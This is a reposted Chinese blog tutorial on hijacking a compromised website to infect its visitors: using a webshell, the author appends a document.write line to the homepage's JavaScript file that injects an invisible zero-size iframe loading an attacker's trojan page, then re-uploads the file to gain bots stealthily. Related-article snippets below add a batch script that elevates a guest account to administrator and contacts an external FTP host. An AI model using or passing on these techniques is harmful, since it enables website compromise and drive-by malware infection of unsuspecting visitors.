网页木马收肉鸡隐藏一个框架网页

最新推荐文章于 2026-01-07 00:05:42 发布
转载 最新推荐文章于 2026-01-07 00:05:42 发布 · 1.4k 阅读 · 0
文章标签：

#框架 #javascript #iframe #脚本

博客介绍了利用WEBSHELL挂网页木马收肉鸡的方法。先在主页找JS脚本，下载后添加包含网页木马地址的IFRAME代码，最后上传覆盖原JS，使挂马更隐蔽。

有了WEBSHELL拉,可以修改主页了,想在上面挂个网页木马收肉鸡,我这里有个很巧妙的方法,大家说的挂马也就是在页面上隐藏一个框架网页.....

   先找找主页里面是否有JS的脚本,找到script language="javascript" src="xxxx.js"之类就成功了,接下来把这个JS下载下来,往里面加以下代码(最好在原来的代码上,回车一行加上代码)

document.write('<IFRAME marginWidth=0 marginHeight=0 src="http://XXXXX.com/ma.htm" frameBorder=0 width=0 scrolling=no height=0 topmargin="0" leftmargin="0"></IFRAME>');

以上代码中的http://XXXXX.com/ma.htm,换成你自己的网页木马的地址.

再把修改好的JS上传覆盖原来的JS,就可以了.

哈哈...是不是很隐蔽了!

 

[网络安全自学篇] 九十.远控木马详解及APT攻击中的远控和防御
杨秀璋的专栏
07-24 1万+
这是作者网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您喜欢，一起进步。前文分享了软件来源分析，结合APT攻击中常见的判断方法，利用Python调用扩展包进行溯源。这篇文章将详细分享远控木马及APT攻击中的远控，包括木马的基本概念和分类、木马的植入方式、远控木马的通信方式、APT攻击与远控木马等。作者之前分享了多篇木马的文章，但这篇更多是讲解远控型木马，基础性文章，希望对您有所帮助~
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
热门推荐
杨秀璋的专栏
02-21 2万+
这是作者的网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您们喜欢，一起进步。前文分享了微软证书漏洞（CVE-2020-0601），并详细讲解了Windows验证机制、可执行文件签名复现及HTTPS劫持。本文将分享另一个主题——Cracer教程，第一篇文章将详细讲解安全术语、Web渗透流程和Windows基础、注册表及黑客常用DOS命令。基础性文章，希望对您有所帮助。
从Webshell到肉鸡
weixin_34032792的博客
01-04 268
从Webshell到肉鸡S.S.F simeon   我一直都在强调一个东西，在网络***中最重要的就是思维，本文的灵感来自于安天365团队的一个篇稿件，在稿件中提到了一个AspxSpy的Asp.net类型后门软件，在安全界中最近一直流行后门中的后门，即通过给出一个包含后门的Webshell程序，众多小黑们在外面吭哧吭哧的干活，而给出后门的老板，却在后面偷着数Webshell，这种后门...
1433抓肉鸡bat命令收集
weixin_34351321的博客
11-12 306
net user guest 87966550 net localgroup administrators guest /add net user guest /active:yes echo open 219.128.253.142 >1.txt echo 123 >>1.txt echo 123 >>1.txt ech...
提权（最全的WEBSHELL）
Coisini的博客
05-24 1万+
最全的WEBSHELL c: d: e:… C:\Documents and Settings\All Users\「开始」菜单\程序\ 看这里能不能跳转，我们从这里可以获取好多有用的信息比如Serv-U的路径， C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 看能否跳转到这个目录，如果行那就最好了...
小白黑客基础3389等端口入侵抓肉鸡
weixin_45116657的博客
11-13 3350
添加链接描述
关于js拿shell的尝试
无心的博客
05-04 2937
以前在测试一个网站的时候，大佬提供了一个拿shell的思路，通过js拿到了shell。 当时的情况是这样的，首页为*****/bin/home.php，通过弱口令进入后台，后台所有上传等可以拿shell的路都被阻止了，当时有一个可以控制前端页面的功能点 凭上面的解释就可以看出来，这个是可以通过这里来修改首页内容的，这里仅仅做一个小演示 可以发现js的代码是可以成功执行的，就可以通过了这个方法...
谈网页木马
深海蓝的技术随笔
02-11 2232
当今网络，反病毒软件日益增多，使用的反病毒技术越来越先进，查杀病毒的能力逐渐提高，但病毒制作者并不会罢休，反查杀手段不断升级，新的病毒层出不穷，形式也越来越多样化，为了躲避查杀，病毒自身的隐蔽性越来越高，针对反病毒软件对传统的病毒传播途径的监控能力提高，造成病毒传播困难的问题，越来越多的病毒，利用多数反病毒软件产品对恶意脚本监控能力的缺陷，开始利用网页木马这一危害面最广泛，传播效果最佳的方式来传播
专家全方位剖析网页木马
weixin_33802505的博客
11-03 1049
一 、什么是网页木马 　　网页木马是利用网页来进行破坏的病毒，它包含在恶意网页之中，使用脚本语言编写恶意代码，依靠系统的漏洞，如IE浏览器存在的漏洞来实现病毒的传播。当用户登陆了包含网页病毒的恶意网站时，网页木马便被激活，受影响的系统一旦感染网页病毒，就会遭到破坏，轻则浏览器首页被修改，标题改变，系统自动弹出广告，重则被装上木马，感染病毒，使用户无法进行正常的使用。甚至会引起系统崩溃...
木马的攻击与防御（MSF）
weixin_45605352的博客
04-12 7842
MSF简介 Metasploit是一个免费的、可下载的框架， 通过它可以很容易地 获取、开发并对计算机软件漏洞实施攻击。它本身 附带数百个 已知软件漏洞的专业级漏洞攻击工具。它集成了以下4个模块： exploits模块 漏洞攻击模块列表，入侵式 命名规则 模块/系统/服务/名称 payloads模块 漏洞负载模块与exploits模块配合使用的用于入侵后的操作 auxiliary模块 辅助模块，通常用于没有攻击荷载的漏洞攻击。 encoders模块 编码器模块，用于msfvenom -e or
一阶段加二阶段
2301_80167301的博客
10-07 947
同一网段主机访问分析：不同网段路由转发，不同网段第一次通信，需要获取网关的mac地址，以网关地址做中间人转发。不同网段 PC 第一次通信简述 当不同网段的 PC 第一次通信时，主要经过以下几个关键步骤：网段判断 源 PC 检查目标 IP 是否在同一网段 发现不在同一网段，决定通过网关转发ARP 地址解析 源 PC 发送 ARP 广播请求网关的 MAC 地址 网关响应 ARP 请求，提供自己的 MAC 地址 源 PC 缓存网关的 IP-MAC 映射。
纯干货：微软漏洞中国第一人黄正——如何用正确姿势挖掘浏览器漏洞（附完整 PPT）
雷锋网
12-26 6241
导语：黄正，百度安全实验室 X-Team 掌门人。他在这里分享了诸多漏洞挖掘的干货，目标成为大神黑客的你不能错过。 浏览器就像一扇窗，通过这扇窗，黑客可以攻入电脑的心脏。 就像情场高手，通过眼睛，融化一个人的心灵。 黄正，百度安全实验室 X-Team 掌门人。2016年，这个信仰“技术可以改变世界”的低调黑客大牛以一己之力挖掘无数浏览器漏洞，创下了排名微软
肉鸡系列01
西楚衰王杨不猛
06-06 214
top/parent/FrameSet/Frame/iFrame document.write(); 中间的代码如果不在function里面，会直接执行，在里面可以干很多事情 页面跳转： onUnload/onload reload JS类： var variable = new ClassName(); JS内置类或自己写好的框架的类 window.alert(...
如何抓肉鸡
weixin_34358365的博客
02-13 2702
第一步：用scanipc扫描弱口令 不一会就会扫到很多有弱口令的主机(就我的经验在教育网上这样的主机比较多) 第二步：连接刚扫的肉鸡 这里我用opentelnet给扫描到开了空口令的主机开个端口让我们telnet连接上去 ,开了23端口，并可以连接上的主机就不用进行次步 第一步：用scanipc扫描弱口令 不一会就会扫到很多有弱口令的主机(就我的经验在教育网上这...
Vue 2 项目中 template 使用可选链 ?. 导致的诡异编译报错及 webpack loader 配置坑
GhostPaints的博客
01-05 878
最近在维护一个基于 Vue 2 的老项目（RuoYi-Vue 框架衍生）时，遇到一个特别诡异的编译问题：同一个项目，使用 pnpm run dev（连接测试环境）一切正常，但切换到 pnpm run dev:local（连接本地后端）时，启动就直接报错，错误信息指向 template 中的可选链运算符?这让我百思不得其其解——Vue 2.7 明明官方支持 template 中的?.，为什么本地环境就炸了？。
前端组件级权限控制
马优晨
01-06 242
前端组件级权限控制通过统一管理权限数据，采用声明式或编程式方式在组件层面进行校验。核心方案包括：1）指令式控制（适合按钮/小组件），通过自定义指令如v-permission实现；2）组件封装式控制（适合通用组件），封装<Permission>容器组件；3）编程式控制（适合复杂逻辑），在JS中直接判断权限。所有方案都需配合后端接口校验防止权限篡改，并适配不同框架如Vue、React和Angular。关键点是先规范权限数据管理，再选择适合的控制方式，同时确保后端兜底校验。
22-mini-vue props
weixin_57142035的博客
01-04 183
【代码】22-mini-vue props。
实现ReACT智能体
最新发布
weixin_42828342的博客
01-07 1108
本文介绍了LangGraph框架中的两个核心：Human In Loop（人在环中）和Time Travel（时间回溯）。Human In Loop允许将人类操作作为工作流节点，实现模型与人工协作的典型场景包括确认操作、信息补充、审核修改和主动决策分支。实现要点包括指定检查点、线程ID管理和中断/恢复机制。Time Travel功能则基于检查点系统，支持回溯到历史状态重新执行，适用于调试、修复和探索分支等场景。文章还提供了代码示例，展示如何构建带人工审核的AI助手工作流，从简单聊天机器人到集
A2A协议与LangChain.js实战：构建微型软件工厂
Web分享
01-01 1009
随着多智能体（Multi-Agent）系统的兴起，单纯的工具调用（Tool Use）已无法满足复杂协作需求。本文将探讨从 MCP（Model Context Protocol）到 A2A（Agent-to-Agent）协议的演进，解析去中心化智能体通信的设计模式，并利用 LangChain.js、Express 和 JSON-RPC 2.0 构建一个包含 PM、Dev、QA 的分布式“微型软件工厂”。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值